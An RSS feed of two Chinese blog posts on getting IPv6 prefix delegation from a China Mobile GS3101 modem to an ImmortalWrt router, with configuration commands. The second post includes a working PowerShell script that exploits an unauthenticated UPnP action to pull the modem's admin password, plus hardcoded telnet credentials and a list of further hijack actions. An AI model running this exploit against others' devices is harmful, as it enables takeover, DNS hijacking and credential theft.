ImmortalWrt on 猫猫鱼的小窝 https://csdn.fjh1997.top/tags/immortalwrt/ Recent content from 猫猫鱼的小窝 Hugo zh-CN xxx@example.com (catcatyu) xxx@example.com (catcatyu) 本博客所有文章除特别声明外，均采用 BY-NC-SA 许可协议。转载请注明出处！ Sun, 21 Jun 2026 04:45:00 +0800 光猫拿到/60但不给二级路由委派IPv6前缀的解决方法 https://csdn.fjh1997.top/posts/2026062101.html Sun, 21 Jun 2026 04:45:00 +0800 xxx@example.com (catcatyu) https://csdn.fjh1997.top/posts/2026062101.html 光猫拿到/60但不给二级路由委派IPv6前缀的解决方法

作者：catcatyu（xxx@example.com）

背景

家里用的是中国移动宽带，光猫是吉比特 GS3101（中国移动定制），下挂一台 ImmortalWrt 路由器（MT7981 芯片）做二级路由。最开始遇到的问题是：ImmortalWrt 的 wan6 经常拿不到 DHCPv6-PD 前缀，日志里反复出现：

1
2

daemon.warn odhcp6c: Server returned IA_PD status 'No Prefix Available'
daemon.warn odhcp6c: Server returned IA_PD status 'No Binding'

一开始我以为是 ISP 不下发 PD，所以尝试过 NDP Relay。后面拿到光猫超管和 Telnet 后确认，真实原因不是“中国移动完全不给前缀”，而是：

ISP 已经给光猫下发了 /60，但光猫默认没有把可用前缀正确委派给下挂的 ImmortalWrt。

当前已经跑通的链路是：

1
2
3
4

ISP -> 光猫 ppp1 获取 2409:8a28:6e2:1c20::/60
光猫 br0 自用 2409:8a28:6e2:1c20::/64
光猫 dhcp6s -> ImmortalWrt 委派 2409:8a28:6e2:1c28::/61
ImmortalWrt br-lan -> LAN 设备下发 2409:8a28:6e2:1c28::/64

国内 IPv6 连通性正常；海外 IPv6 的 TCP/443 仍然不稳定或不可达，这是运营商出口策略问题，不是本地 DHCPv6-PD 配置问题。

当前状态核对

光猫侧

光猫固件：

1
2

cat /etc/fwver.conf
# V1B0.C02.01

ISP 给光猫的前缀：

1
2
3
4
5

cat /var/run/ppp1/orgpd6
# 2409:8a28:6e2:1c20::/60

cat /var/run/ppp1/pd6
# 2409:8a28:6e2:1c20::/64

orgpd6 是 ISP 原始委派给光猫的 /60；pd6 是光猫自己拿来给 br0/LAN 使用的 /64。

光猫 LAN 地址：

1

br0 inet6 addr: 2409:8a28:6e2:1c20:b654:59ff:fe2a:59a8/64

光猫当前 DHCPv6 Server 配置：

option domain-name-servers fe80::1;
interface br0 {
        address-pool pool1 172800 259200;
};
pool pool1 {
        range 2409:8a28:6e2:1c20::1 to 2409:8a28:6e2:1c20::1000;
};
host immortalwrt {
        duid 00:03:00:01:70:2a:d7:60:77:20;
        prefix 2409:8a28:6e2:1c28::/61 172800 259200;
};

这组配置是合理的：

  • 2409:8a28:6e2:1c20::/60 覆盖 1c20 到 1c2f 这 16 个 /64。
  • 光猫自己使用 1c20::/64。
  • 委派给 ImmortalWrt 的 1c28::/61 覆盖 1c28 到 1c2f，没有和光猫自用的 1c20::/64 重叠。
  • 光猫路由表中已有到 ImmortalWrt 的路由：
1

2409:8a28:6e2:1c28::/61 via fe80::722a:d7ff:fe60:7720 dev br0

ImmortalWrt 侧

wan6 当前已拿到 IA_NA 和 IA_PD：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18

"ipv6-address": [
  {
    "address": "2409:8a28:6e2:1c20:722a:d7ff:fe60:7720",
    "mask": 64
  }
],
"ipv6-prefix": [
  {
    "address": "2409:8a28:6e2:1c28::",
    "mask": 61,
    "assigned": {
      "lan": {
        "address": "2409:8a28:6e2:1c28::",
        "mask": 64
      }
    }
  }
]

br-lan 当前地址：

1

2409:8a28:6e2:1c28::1/64

关键 UCI 配置：

1

uci show network.wan6

1
2
3
4
5
6

network.wan6=interface
network.wan6.device='eth1'
network.wan6.proto='dhcpv6'
network.wan6.reqaddress='try'
network.wan6.reqprefix='60'
network.wan6.releaseprefix='1'

1

uci show network.lan

1
2
3
4
5

network.lan=interface
network.lan.device='br-lan'
network.lan.proto='static'
network.lan.ipaddr='192.168.7.1'
network.lan.ip6assign='64'

1

uci show dhcp.lan

1
2
3
4

dhcp.lan.ra='server'
dhcp.lan.dhcpv6='server'
dhcp.lan.ndp='disabled'
dhcp.lan.ra_flags='managed-config' 'other-config'

这个状态也是合理的：既然已经拿到正规 PD，LAN 侧就应该用 RA/DHCPv6 Server，下游不需要再开 NDP Relay。

实测连通性：

1
2
3
4
5
6

ping6 -c 3 2400:3200::1
# 0% packet loss

wget -6 -q -O /dev/null --timeout=8 https://www.baidu.com && echo OK
wget -6 -q -O /dev/null --timeout=8 https://www.qq.com && echo OK
wget -6 -q -O /dev/null --timeout=8 https://www.aliyun.com && echo OK

国内 IPv6 和 HTTPS 都是通的。

超管密码和 Telnet 获取过程

这台 GS3101 的默认超管密码已经失效，原因大概率是运营商通过 TR-069/网管系统把超管密码随机化了。所以网上常见的默认组合不可靠：

1
2
3
4

CMCCAdmin / 默认密码
telecomadmin / 默认密码
SN 推算密码
MAC 推算密码

实际可行的路径是：把光猫 SN 发给装维师傅，师傅通过移动装维/网管系统查询当前设备绑定的动态超管密码。这个密码不是本地用 SN 简单 hash 算出来的，更像是后台系统按设备 SN、地区、工单或设备注册信息查表/下发的结果。

常见获取路径对比：

方法 是否推荐 说明
找装维师傅用 SN 查询 推荐 本次就是这条路，最快，也最少折腾设备
闲鱼/代查超管 可用但不推荐 本质也是用 SN 查后台，存在隐私和账号风险
UPnP X_GetAccess 看固件状态 部分 GS2101/GS3101 的 5555 端口会暴露厂商自定义 action，可返回超管信息；前提是 UPnP 已开启且 action 未被封
配置导出后解密/解析 适合研究 需要能导出 romfile，且不同固件格式不完全一致
恢复出厂并阻断 TR-069 有风险 需要提前记录 LOID/宽带账号，操作不当会断网
TTL 串口 最可靠但要拆机 适合硬件调试，直接进 shell 查配置

UPnP 那条路要特别注意：网上文章常把“开启 UPnP 后 Telnet 自动开放”写成因果关系，但实测过程里往往还混有 X_SetAccess、Reboot 等 action。更准确地说，Telnet 开放可能来自“开启远程/本地管理权限并重启后生效”，不一定只是 UPnP 开关本身导致。

拿到 Web 超管后，可以进入隐藏配置页面：

1

http://192.168.1.1/cgi-bin/upgrade.asp

其中：

  • romfile：配置导入。
  • tclinux.bin：固件导入。

如果要改 romfile，务必先备份原配置。配置导入比直接在 shell 里改 /etc 更有机会持久化，但也更容易因为 XML/校验错误导致配置异常。

Telnet 登录踩坑

这台设备的 Telnet 和 Web 超管不是同一套账号。Web 用的是超管账号，Telnet 用的是 Account_TelnetEntry 里的账号。

Telnet 登录方式：

1

telnet -K -8 -E 192.168.1.1 23

参数说明：

  • -K：不自动登录。
  • -8：8-bit 传输，避免部分字符被处理。
  • -E：禁用 escape 字符，避免特殊字符干扰交互。

正确现象：

1
2
3
4
5

Trying 192.168.1.1...
Connected to 192.168.1.1.
tc login:
Password:
#

常见错误：

现象 原因 处理
Connection refused Telnet 服务没开或被防火墙挡住 先确认 Web 超管里 Telnet 是否开启，或看 utelnetd 是否运行
Login incorrect 把 Web 超管账号拿去登录 Telnet Telnet 用户通常是 admin，密码看 Account_TelnetEntry
能连但输入异常 Telnet 客户端转义/编码影响特殊字符 使用 telnet -K -8 -E
登录后不是 # 权限或 shell 不对 确认登录的是 TelnetEntry 账号，不是普通 Web 用户

登录后可以核对：

1
2
3

tcapi show Account_TelnetEntry
ps | grep utelnetd
netstat -lntup | grep ':23'

这台设备上 utelnetd 的启动形式是：

1

/usr/bin/utelnetd -p 23 -l /bin/login -d

utelnetd 只支持 -p、-l、-d，没有绑定指定监听地址的参数，所以不能直接让它只监听 192.168.1.1。如果要保留 Telnet，又不想暴露到 WAN，只能靠防火墙规则限制 WAN 侧访问。

当前策略是：Telnet/Web 保留 LAN 侧可用，WAN 侧通过 iptables/ip6tables DROP 管理端口。

推荐方案：让光猫向 ImmortalWrt 委派前缀

如果你的光猫也已经从 ISP 拿到了 /60 或 /56，优先使用 DHCPv6-PD，不要先上 NDP Relay。

1. 确认光猫拿到的原始 PD

Telnet 登录光猫后查看：

1
2

cat /var/run/ppp1/orgpd6
cat /var/run/ppp1/pd6

如果 orgpd6 有 /60、/56 之类的前缀，而二级路由拿不到 PD，问题通常在光猫的 dhcp6s 下发逻辑。

2. 找到 ImmortalWrt 的 DUID

在 ImmortalWrt 上看 wan6 客户端 DUID。常见方式是看 odhcpd lease 或用 WAN 口 MAC 推导：

1
2

cat /tmp/hosts/odhcpd 2>/dev/null
ip link show dev eth1

本文这台 ImmortalWrt 的 WAN 口 MAC 是：

1

70:2a:d7:60:77:20

对应 DUID-LL：

1

00:03:00:01:70:2a:d7:60:77:20

格式说明：

  • 00:03：DUID-LL
  • 00:01：以太网
  • 后面 6 字节：WAN 口 MAC

3. 修改光猫 dhcp6s.conf

光猫运行期配置文件：

1

/etc/dhcp6s.conf

示例配置：

option domain-name-servers fe80::1;
interface br0 {
        address-pool pool1 172800 259200;
};
pool pool1 {
        range 2409:8a28:6e2:1c20::1 to 2409:8a28:6e2:1c20::1000;
};
host immortalwrt {
        duid 00:03:00:01:70:2a:d7:60:77:20;
        prefix 2409:8a28:6e2:1c28::/61 172800 259200;
};

注意前缀不要和光猫 br0 自用的 /64 重叠。比如光猫自用 1c20::/64 时，不要再把 1c20::/64 委派给二级路由。

重启 DHCPv6 Server：

1
2
3

killall dhcp6s 2>/dev/null
sleep 1
/userfs/bin/dhcp6s -c /etc/dhcp6s.conf br0 -p /var/run/dhcp6s.pid &

4. 配置 ImmortalWrt 请求 PD 

1
2
3
4
5
6

uci set network.wan6.proto='dhcpv6'
uci set network.wan6.device='eth1'
uci set network.wan6.reqaddress='try'
uci set network.wan6.reqprefix='60'
uci set network.lan.ip6assign='64'
uci commit network

LAN 侧用 RA/DHCPv6 Server：

1
2
3
4
5
6
7

uci set dhcp.lan.ra='server'
uci set dhcp.lan.dhcpv6='server'
uci set dhcp.lan.ndp='disabled'
uci delete dhcp.lan.ra_flags 2>/dev/null
uci add_list dhcp.lan.ra_flags='managed-config'
uci add_list dhcp.lan.ra_flags='other-config'
uci commit dhcp

如果之前做过 NDP Relay，建议清理 wan6 上的 relay 残留，避免以后排障混乱：

1
2
3
4
5
6

uci delete dhcp.wan6.ra 2>/dev/null
uci delete dhcp.wan6.dhcpv6 2>/dev/null
uci delete dhcp.wan6.ndp 2>/dev/null
uci delete dhcp.wan6.master 2>/dev/null
uci set dhcp.wan6.ignore='1'
uci commit dhcp

重启服务：

1
2
3
4
5

ifdown wan6
sleep 3
ifup wan6
/etc/init.d/odhcpd restart
/etc/init.d/dnsmasq restart

验证：

1
2
3

ifstatus wan6 | grep -A20 '"ipv6-prefix"'
ip -6 addr show dev br-lan
ip -6 route show

正常应该能看到：

1
2
3

wan6 获得 2409:8a28:6e2:1c28::/61
br-lan 获得 2409:8a28:6e2:1c28::1/64
LAN 客户端获得 2409:8a28:6e2:1c28::/64 内的地址

一个容易踩的坑：不要把动态 GUA 写死到 ra_dns

当前这台 ImmortalWrt 里有一项：

1

dhcp.lan.ra_dns='2409:8a28:6e2:1c28::1'

这在当前前缀不变时能工作，但它绑定了动态公网前缀。如果以后光猫重新拨号后前缀变化，客户端可能继续收到过期 DNS 地址。

更稳的做法是：

  • 不手动写死 ra_dns，让 odhcpd 按当前接口状态发布 DNS；
  • 或者发布稳定的公网 IPv6 DNS；
  • 或者使用稳定 ULA 地址作为路由器 LAN 侧 DNS 地址。

如果只是为了快速验证，写死当前 br-lan 地址没问题；要长期运行，建议避免这种配置。

临时方案：NDP Relay

只有在下面这种情况下才考虑 NDP Relay：

  • 光猫没有给二级路由委派 PD；
  • 暂时拿不到光猫超管；
  • 只是想临时让 LAN 设备获得 IPv6。

NDP Relay 的本质是把上游 /64 共享给下游 LAN，能用但不如 DHCPv6-PD 标准。它依赖运营商没有做严格的 ND/SAVI 检查，也容易在前缀变化时出问题。

如果已经能让光猫给 ImmortalWrt 下发 PD，就不要再把 LAN 配成 NDP Relay。

光猫配置持久化问题

这类光猫的文件系统比较特殊：

  • 根文件系统是 squashfs，只读。
  • /etc 通常是启动后生成到 tmpfs 的运行期目录。
  • /etc/dhcp6s.conf 很可能重启后恢复。
  • 我这台固件上 /userfs 看起来在根文件系统内，不是可靠可写分区；之前尝试写入会报 Read-only file system。
  • /usr/osgi 是 jffs2 可写区，但它属于 OSGi/插件运行区，不建议随便塞启动脚本。

所以不要简单照抄“把脚本追加到 /etc/init.d/rcS”这种做法。这个固件的 /etc/init.d/rcS 来自只读系统，直接修改不可持久；如果某些机型上能改，也要先确认重启后是否保留。

更稳的持久化路线：

  • 通过配置导出/导入修改 romfile 中的 DHCPv6 配置；
  • 找装维把光猫改桥接，让 ImmortalWrt 直接拨号；
  • 如果确认有可靠可写启动钩子，再做自动替换 dhcp6s.conf 的脚本。

Web 超管页面里隐藏的配置导入页面是：

1

http://192.168.1.1/cgi-bin/upgrade.asp

其中 romfile 是配置导入，tclinux.bin 是固件导入。改配置前务必先备份原配置。

TR-069、UPnP 和远程管理

拿到超管和 Telnet 后，我做了这些安全收敛：

1
2
3
4
5
6
7
8

tcapi set Cwmp_Entry Active No
tcapi set Cwmp_Entry Tr069Enable 0
tcapi set Cwmp_Entry periodActive No
tcapi set Cwmp_Entry tr069Commit 1
tcapi commit Cwmp_Entry
tcapi save
killall tr69_monitor 2>/dev/null
killall tr69 2>/dev/null

当前确认：

1
2
3

Cwmp_Entry Active=No
Cwmp_Entry Tr069Enable=0
Cwmp_Entry periodActive=No

UPnP 保持开启，因为内网仍然需要；但不要把 UPnP、Web、Telnet 暴露到 WAN。当前运行期防火墙已经对 ppp+ 和 nas+ 的管理端口做了 DROP，Web 80 还有系统自带的 !br+ DROP 规则。Telnet 23 的 WAN DROP 规则目前是运行期规则，重启后仍需复核。

一句话：Telnet/Web 可以开，但只应该对内网开。TR-069 建议关闭。UPnP 如果要保留，也只保留 LAN 侧可用。

海外 IPv6 不通的问题

本地前缀和 DHCPv6-PD 配好后，国内 IPv6 站点正常：

1
2
3
4

ping6 -c 3 2400:3200::1
wget -6 -q -O /dev/null --timeout=8 https://www.baidu.com
wget -6 -q -O /dev/null --timeout=8 https://www.qq.com
wget -6 -q -O /dev/null --timeout=8 https://www.aliyun.com

但海外 IPv6 常见现象是：ICMPv6 能 ping，TCP/443 不通或超时。之前抓包能看到本地 SYN 发出，但收不到 SYN-ACK。

这更像中国移动 IPv6 国际出口策略或链路质量问题，不是本地 RA/DHCPv6 配错。判断方法：

  • 国内 IPv6 HTTPS 正常；
  • 本地路由器有默认 IPv6 路由；
  • LAN 设备拿到正确公网 IPv6；
  • 海外 TCP 单独失败。

解决办法通常不是改 DHCPv6，而是走 IPv4 代理，或换 IPv6 国际出口更好的运营商。

总结

项目 当前结论
ISP 是否给前缀 给了光猫 /60
光猫自用前缀 2409:8a28:6e2:1c20::/64
委派给 ImmortalWrt 2409:8a28:6e2:1c28::/61
ImmortalWrt LAN 2409:8a28:6e2:1c28::/64
LAN DHCP/RA RA Server + DHCPv6 Server，NDP Relay 关闭
国内 IPv6 正常
海外 IPv6 TCP 运营商出口问题概率高
TR-069 已关闭
UPnP 保留 LAN 侧使用，不暴露 WAN

最关键的修正是：不要把这个问题简单归因成“ISP 不下发前缀”。现场证据表明，ISP 给了光猫 /60；真正要做的是让光猫的 DHCPv6 Server 把合适的子前缀委派给 ImmortalWrt。

本文2026-06-21首发于猫猫鱼的小窝，最后修改于2026-06-21

]]> ISP不下发前缀的情况下让局域网设备获得IPv6的解决方法 https://csdn.fjh1997.top/posts/62847.html Sat, 20 Jun 2026 23:30:00 +0800 xxx@example.com (catcatyu) https://csdn.fjh1997.top/posts/62847.html ISP不下发前缀的情况下让局域网设备获得IPv6的解决方法

作者：catcatyu（xxx@example.com）

背景

家里用的是中国移动宽带，光猫是吉比特GS3101（中国移动定制），下挂一台ImmortalWrt路由器（MT7981芯片）做二级路由。遇到的问题是：IPv6时有时无，有时候能用有时候就断了。

经过一番折腾，搞清楚了原因并找到了解决方案。虽然海外IPv6因为运营商原因连不通，但国内IPv6站点是可以正常访问的。

问题诊断

1. ISP不下发DHCPv6-PD前缀

登录ImmortalWrt路由器查看日志，发现了关键信息：

daemon.warn odhcp6c: Server returned IA_PD status 'No Prefix Available'
daemon.warn odhcp6c: Server returned IA_PD status 'No Binding'

几乎每天都会出现。中国移动的DHCPv6服务器在续约前缀时返回"无前缀可用"或"无绑定"。

这里需要区分两个概念：

类型 说明 ISP是否分配
IA_NA（地址） 给路由器WAN口一个IPv6地址 ✅ 给了 /64
IA_PD（前缀） 给路由器一段地址池分给LAN设备 ❌ 不给

ISP给了路由器一个地址（IA_NA），但拒绝给前缀（IA_PD）。正常情况下，路由器需要PD前缀才能给局域网设备分配IPv6地址，所以LAN设备就拿不到IPv6了。

2. 光猫固件封堵了超管获取

我尝试通过获取光猫超级管理员密码来改桥接模式（让路由器直接拨号，PD前缀分配会更稳定），但是：

  • 光猫型号：GS3101，固件版本：V1B0.C02.01（固件完整dump下载 ，256MB Flash，含全部11个MTD分区）
  • getGateWay.cgi 接口存在但返回 400 Bad Request（已被封堵）
  • telnet端口23关闭
  • 所有默认超管密码（CMCCAdmin/aDm8H%MdA、telecomadmin/nE7jA%5m 等）全部错误
  • SN推算密码、MAC推算密码均不对
  • 所有已知CGI漏洞页面返回404

结论：这个固件版本是运营商通过TR-069远程升级的新版本，已经封堵了所有已知的软件漏洞获取超管的方法。

想获取超管只能：恢复出厂+秒删TR-069、TTL串口硬件调试、或找装维师傅要密码。

解决方案：NDP Relay + IPv6 Forwarding

既然拿不到超管改不了桥接，那就换个思路——把WAN口的IPv6共享给LAN设备。

原理

ISP虽然不给PD前缀，但WAN口有一个 /64 的公网IPv6地址。通过NDP Relay，可以把WAN侧收到的Router Advertisement（RA）原样转发到LAN。LAN设备收到RA后，会通过SLAAC从同一个 /64 前缀自动生成IPv6地址。

然后通过路由器的IPv6 Forwarding和NDP Proxy，让LAN设备的流量能正确路由到WAN。

本质上就是把WAN的 /64 前缀"共享"给了LAN设备。

具体配置（ImmortalWrt/OpenWrt）

1. 修改DHCP/RA配置 

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18

# LAN侧：开启NDP relay和RA server
uci set dhcp.lan.ndp=relay
uci set dhcp.lan.ra=server
uci set dhcp.lan.dhcpv6=server

# 设置RA标志，让客户端同时使用SLAAC和DHCPv6
uci delete dhcp.lan.ra_flags 2>/dev/null
uci add_list dhcp.lan.ra_flags=managed-config
uci add_list dhcp.lan.ra_flags=other-config

# 设置RA发送间隔
uci set dhcp.lan.ra_maxinterval=300
uci set dhcp.lan.ra_mininterval=100

# DHCPv6租约时间
uci set dhcp.lan.dhcpv6_leasetime=86400

uci commit dhcp

2. 给LAN接口添加WAN前缀的静态地址 

1
2
3

# 假设WAN前缀是 2409:xxxx:xxxx:xxxx::/64
# 给br-lan加一个该前缀的静态地址
ip -6 addr add 2409:xxxx:xxxx:xxxx::2/64 dev br-lan

把 2409:xxxx:xxxx:xxxx 替换为你WAN口的实际前缀。可以通过 ip -6 addr show dev eth1 scope global 查看。

3. 开启IPv6转发和NDP代理 

1
2
3
4
5
6
7
8

# 开启IPv6转发
echo 1 > /proc/sys/net/ipv6/conf/all/forwarding
echo 1 > /proc/sys/net/ipv6/conf/eth1/forwarding
echo 1 > /proc/sys/net/ipv6/conf/br-lan/forwarding

# 开启NDP代理（让ISP能路由到LAN设备）
echo 1 > /proc/sys/net/ipv6/conf/all/proxy_ndp
echo 1 > /proc/sys/net/ipv6/conf/eth1/proxy_ndp

4. 持久化配置（写入 /etc/rc.local） 

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

cat > /etc/rc.local << 'EOF'
# 静态IPv6地址（替换为你的实际前缀）
ip -6 addr add 2409:xxxx:xxxx:xxxx::2/64 dev br-lan 2>/dev/null

# IPv6转发
echo 1 > /proc/sys/net/ipv6/conf/all/forwarding
echo 1 > /proc/sys/net/ipv6/conf/eth1/forwarding
echo 1 > /proc/sys/net/ipv6/conf/br-lan/forwarding

# NDP代理
echo 1 > /proc/sys/net/ipv6/conf/all/proxy_ndp
echo 1 > /proc/sys/net/ipv6/conf/eth1/proxy_ndp

exit 0
EOF

5. 优化wan6 DHCPv6参数 

1
2
3

uci set network.wan6.reqprefix=56
uci set network.wan6.releaseprefix=1
uci commit network

虽然ISP目前不给PD，但万一以后给了，这个配置能自动用上。

6. 添加IPv6看门狗脚本

ISP的前缀分配不稳定，加个脚本每5分钟检测一次，掉线自动恢复：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

cat > /usr/bin/ipv6-watchdog.sh << 'SCRIPT'
#!/bin/sh
LOG_TAG="ipv6-watchdog"
PING_TARGET="2400:3200::1"

wan6_has_prefix() {
    ip -6 addr show dev eth1 2>/dev/null | grep -q "scope global"
}

ipv6_ping_ok() {
    ping6 -c 1 -W 5 "$PING_TARGET" >/dev/null 2>&1
}

if wan6_has_prefix && ipv6_ping_ok; then
    exit 0
fi

logger -t "$LOG_TAG" "IPv6 lost, restarting wan6..."
ifdown wan6
sleep 5
ifup wan6

for i in $(seq 1 12); do
    sleep 5
    if wan6_has_prefix; then
        logger -t "$LOG_TAG" "IPv6 restored after ${i}x5s"
        /etc/init.d/odhcpd restart
        exit 0
    fi
done

logger -t "$LOG_TAG" "IPv6 NOT restored after 60s"
exit 1
SCRIPT

chmod +x /usr/bin/ipv6-watchdog.sh

# 添加定时任务（每5分钟检查一次）
echo "*/5 * * * * /usr/bin/ipv6-watchdog.sh" >> /etc/crontabs/root
/etc/init.d/cron enable
/etc/init.d/cron restart

7. 重启服务生效 

1
2

/etc/init.d/odhcpd restart
/etc/init.d/dnsmasq restart

验证

配置完成后，直连ImmortalWrt WiFi的设备（如手机）应该能通过SLAAC自动获取公网IPv6地址。

测试方法：

1
2
3
4
5
6
7
8

# 从路由器测试国内IPv6站点
ping6 -c 3 2400:3200::1          # 阿里DNS
ping6 -c 3 2409:8a28:6e2:1c20::1 # 你的WAN网关

# 测试国内HTTPS站点
wget -6 -q -O /dev/null --timeout=10 https://www.baidu.com && echo "百度 OK"
wget -6 -q -O /dev/null --timeout=10 https://www.qq.com && echo "QQ OK"
wget -6 -q -O /dev/null --timeout=10 https://www.aliyun.com && echo "阿里云 OK"

海外IPv6不通的问题

配置完成后发现一个现象：国内IPv6站点全部正常，但海外IPv6站点TCP连不上（ping能通但HTTP/HTTPS超时）。

通过tcpdump抓包确认：

# 路由器发出的TCP SYN包
IP6 router.44178 > remote.443: Flags [S]  # SYN发出
# 没有任何SYN-ACK回来...

原因：中国移动的IPv6国际出口过滤了TCP流量，只放行ICMPv6。这不是路由器防火墙的问题（即使完全放开防火墙也不行），而是运营商层面的策略。

如果你需要访问海外IPv6站点，建议：

  • 代理走IPv4出站（大部分代理客户端默认就这样）
  • 换电信/联通宽带（IPv6到海外通常好很多）

注意事项

关于NDP Relay的安全性

这种方案本质上是把WAN的 /64 前缀共享给LAN。如果ISP做了严格的ND安全检查（如SAVI/ND Snooping），会检测到同一端口冒出了多个IPv6源地址，从而丢弃非绑定地址的包。

目前中国移动大部分场景不管这个，所以能用。如果某天被限制了，表现为：设备有IPv6地址但上不了网（被静默丢弃）。到时候只能：

  • 打电话给运营商要PD前缀
  • 光猫改桥接（需要超管密码）
  • 用6in4/HE Tunnel Broker走隧道

关于光猫GS3101/GS2101超管获取

如果你也是GS3101或GS2101型号的光猫，固件是V1B0.C02.01或更新版本，传统的getGateWay.cgi等软件漏洞已经被封堵。但还有以下几种方法可以获取超管密码：

方法一：UPnP漏洞（推荐，免费）

参考：吉比特GS2101光猫-开启telnet-获取超级管理员账号密码 - 恩山无线论坛

GS2101/GS3101光猫在端口5555运行了一个UPnP IGD服务，其中DeviceInfo子服务包含一个厂商自定义的SOAP方法X_GetAccess，不需要任何认证就能返回超管密码。

前提条件：光猫的UPnP必须开启。 UPnP设置需要超管权限才能看到（在"应用" → “UPnP配置"里），所以这是一个鸡生蛋的问题。但如果你能通过其他方式先拿到一次超管密码（比如找师傅），开启UPnP后以后就可以自己随时获取了。

获取密码的PowerShell脚本（Windows下运行）：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44

# GS2101/GS3101 光猫超管密码获取脚本
# 前提：光猫UPnP已开启

$ONT_IP = "192.168.1.1"

Write-Host "[1/2] Checking ONT..." -ForegroundColor Yellow
if (-not (Test-Connection $ONT_IP -Count 1 -Quiet)) {
    Write-Host "[FAIL] Cannot reach $ONT_IP" -ForegroundColor Red
    exit 1
}
Write-Host "      OK" -ForegroundColor Green

Write-Host "[2/2] Fetching password via UPnP..." -ForegroundColor Yellow

$soap = "POST /UD/?2 HTTP/1.1`r`n" +
        "Host: ${ONT_IP}:5555`r`n" +
        "Content-Type: text/xml; charset=utf-8`r`n" +
        "SOAPAction: `"urn:dslforum-org:service:DeviceInfo:1#X_GetAccess`"`r`n" +
        "Content-Length: {0}`r`n" +
        "Connection: close`r`n`r`n"

$xml = '<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body>' +
       '<u:X_GetAccess xmlns:u="urn:dslforum-org:service:DeviceInfo:1"/></s:Body></s:Envelope>'

$soap = $soap -f $xml.Length
$request = [Text.Encoding]::UTF8.GetBytes($soap + $xml)

$client = New-Object System.Net.Sockets.TcpClient
$client.ReceiveTimeout = 8000
$client.Connect($ONT_IP, 5555)
$stream = $client.GetStream()
$stream.Write($request, 0, $request.Length)
$stream.Flush()

$reader = New-Object System.IO.StreamReader($stream, [Text.Encoding]::UTF8)
$response = $reader.ReadToEnd()
$client.Close()

if ($response -match 'NewX_RootPassword[^>]*>([^<]+)') {
    Write-Host "  Username : CMCCAdmin" -ForegroundColor Cyan
    Write-Host "  Password : $($matches[1])" -ForegroundColor Cyan
} else {
    Write-Host "[FAIL] No password returned - is UPnP enabled?" -ForegroundColor Red
}

如果UPnP未开启，会返回空的SOAP body（端口5555可达但所有action不返回数据）。

附：UPnP开启后telnet自动激活

实测发现，开启UPnP并重启光猫后，telnet端口23会自动开放，使用以下凭据可以登录并获得shell：

用户名: admin
密码: s2@We3%Dc#

登录后可进入BusyBox shell（#提示符），可以执行命令查看配置、修改设置等。这意味着即使TR-069后续重新随机化了超管密码，只要UPnP保持开启，你就可以随时通过telnet获取shell访问权限。

telnet开放的真正原因分析： 实测过程中，在UPnP开启后还额外调用了X_SetAccess（设置X_AccessWAN=True，开启WAN侧远程管理）和Reboot（远程重启光猫）两个action。因此telnet的开放可能不是UPnP本身导致的，而是这个组合链：

  1. UPnP开启后，X_SetAccess action成功开启了WAN侧管理权限（包括telnet/SSH等）
  2. Reboot action重启光猫，使配置生效
  3. 重启后telnet端口23开放

也就是说，关键的触发条件可能是 X_SetAccess + Reboot，而不仅仅是UPnP处于开启状态。

附：UPnP漏洞的完整利用能力

除了获取超管密码外，端口5555的UPnP服务（无需认证）还可以：

UPnP Action 服务 效果
X_GetAccess DeviceInfo 获取超管密码
Reboot DeviceConfig 重启光猫
FactoryReset DeviceConfig 恢复出厂设置
AddPortMapping WANIPConnection 添加端口映射（外网穿透到内网）
GetPreSharedKey WLANConfiguration 读取WiFi密码
SetDNSServer LANHostConfigManagement 修改DHCP下发的DNS（DNS劫持）
SetManagementServerURL ManagementServer 劫持TR-069管理服务器地址
X_SetAccess DeviceInfo 开启WAN侧远程管理

虽然没有直接的命令执行action，但组合利用效果很强：先用X_GetAccess拿密码 → 开启UPnP → 用Reboot重启激活telnet → 用admin/s2@We3%Dc#登录telnet获得shell。

方法二：闲鱼购买（5元）

闲鱼搜索"光猫超级密码"或"光猫超管”，提供光猫SN码，卖家通过运营商网管系统查询，一般5元就能拿到。本质上就是装维师傅用的同一套OLT网管平台，用SN码查到设备绑定的动态密码。

方法三：找装维师傅

直接联系宽带安装师傅，他们手上有工单系统/网管平台，用SN码就能查到动态密码。有些师傅愿意给，有些不愿意。

方法四：恢复出厂+秒删TR-069

  1. 记下LOID和宽带账号密码
  2. 拔光纤
  3. 捅Reset孔10秒恢复出厂
  4. 密码回到默认值 CMCCAdmin / aDm8H%MdA
  5. 立刻登录，删掉TR-069连接（防止密码被重新随机）
  6. 插回光纤，用LOID重新注册

方法五：TTL串口（硬件方法，100%成功）

买个CH340/CP2102 USB转TTL模块（淘宝几块钱），拆光猫接TX/RX/GND三条线，波特率115200，开机进root shell，直接读配置文件里的超管密码：

1
2

cat /tmp/ctromfile.cfg | grep -i admin
cat /tmp/ctromfile.cfg | grep -i passw

进阶：从光猫获取正规的/60 PD前缀委派

如果你已经通过上面的方法拿到了光猫超管密码并开启了telnet，还有一个更好的方案——直接从光猫获取正规的PD前缀委派，不再需要NDP Relay hack。

发现问题

通过telnet查看光猫的配置，发现ISP实际上已经给了光猫一个/60前缀：

1
2
3
4
5
6

# 通过telnet登录光猫后执行
cat /var/run/ppp1/orgpd6
# 输出: 2409:8a28:6e2:1c20::/60   ← ISP给了/60！

cat /var/run/ppp1/pd6
# 输出: 2409:8a28:6e2:1c20::/64    ← 光猫自己只用了/64

ISP通过PPPoE给光猫委派了 /60 前缀，但光猫的DHCPv6 Server（dhcp6s）只把这个前缀委派给了一个硬编码的DUID，下挂的OpenWrt/ImmortalWrt路由器根本拿不到。

原因分析

光猫的 /etc/dhcp6s.conf（DHCPv6服务器配置）长这样：

option domain-name-servers fe80::1;
interface br0 {
         address-pool pool1 172800 259200;
};
pool pool1 {
         range 2409:8a28:6e2:1c20::1 to 2409:8a28:6e2:1c20::1000;
